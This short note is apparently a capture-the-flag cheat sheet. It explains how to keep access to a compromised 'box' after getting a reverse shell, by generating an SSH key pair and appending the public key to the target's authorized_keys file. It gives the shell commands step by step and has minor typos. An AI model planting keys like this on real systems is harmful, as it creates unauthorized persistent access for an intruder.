dropping an SSH key and using SSH to access the box/machine
make a dir name - .ssh(in the home folder of box)
mkdir .ssh
vi authorized_keys #if the reverse shell is misbehaving can echo your key
echo 'contents of .pub file' >> authorized_keys
****** drop/create an ssh key ******* (type the following command on your terminal)
ssh-keygen -f <file name> # (-i to use key)
ls
cat <file name> # (it will be with the extention of .pub)
'paste the file contents on the box in authorized_keys file created earlier on the rc'
on our terminal
chomd 600 <file name> # (this is the private key)
ssh -i <file name> user@<machine/box IP>
Note :
- Always make the file under the name of 'authorized_keys' on the box/machine or else it won't work.
- Remember to give the correct permission number for execution.
- If you place the private key i.e id_rsa in your .ssh dir you can login without -i switch